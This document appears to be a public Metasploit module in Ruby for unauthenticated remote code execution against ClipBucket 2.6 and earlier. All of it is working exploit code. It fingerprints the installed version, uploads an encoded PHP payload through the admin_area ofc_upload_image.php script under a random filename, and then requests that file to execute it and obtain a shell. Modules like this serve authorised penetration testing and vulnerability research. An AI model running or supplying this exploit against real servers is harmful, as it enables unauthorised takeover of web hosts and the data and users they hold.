## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "ClipBucket Remote Code Execution", 'Description' => %q{ This module exploits a vulnerability found in ClipBucket version 2.6 and lower. The script "/admin_area/charts/ofc-library/ofc_upload_image.php" can be used to upload arbitrary code without any authentication. This module has been tested on version 2.6 on CentOS 5.9 32-bit. }, 'License' => MSF_LICENSE, 'Author' => [ 'Gabby', # Vulnerability Discovery, PoC 'xistence ' # Metasploit module ], 'References' => [ [ 'URL', 'http://packetstormsecurity.com/files/123480/ClipBucket-Remote-Code-Execution.html' ] ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['Clipbucket 2.6', {}] ], 'Privileged' => false, 'DisclosureDate' => "Oct 04 2013", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/']) ], self.class) end def uri return target_uri.path end def check # Check version peer = "#{rhost}:#{rport}" vprint_status("#{peer} - Trying to detect installed version") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, "") }) if res and res.code == 200 and res.body =~ /ClipBucket version (\d+\.\d+)/ version = $1 else return Exploit::CheckCode::Unknown end vprint_status("#{peer} - Version #{version} detected") if version > "2.6" return Exploit::CheckCode::Safe else return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit peer = "#{rhost}:#{rport}" payload_name = rand_text_alphanumeric(rand(10) + 5) + ".php" print_status("#{peer} - Uploading payload [ #{payload_name} ]") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, "admin_area", "charts", "ofc-library", "ofc_upload_image.php"), 'headers' => { 'Content-Type' => 'text/plain' }, 'vars_get' => { 'name' => payload_name }, 'data' => payload.encoded }) # If the server returns 200 we assume we uploaded the malicious # file successfully if not res or res.code != 200 or res.body !~ /Saving your image to: \.\.\/tmp-upload-images\/(#{payload_name})/ or res.body =~ /HTTP_RAW_POST_DATA/ fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!") end register_files_for_cleanup(payload_name) print_status("#{peer} - Executing Payload [ #{uri}/admin_area/charts/tmp-upload-images/#{payload_name} ]" ) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, "admin_area", "charts", "tmp-upload-images", payload_name) }) # If we don't get a 200 when we request our malicious payload, we suspect # we don't have a shell, either. if res and res.code != 200 print_error("#{peer} - Unexpected response, probably the exploit failed") end end end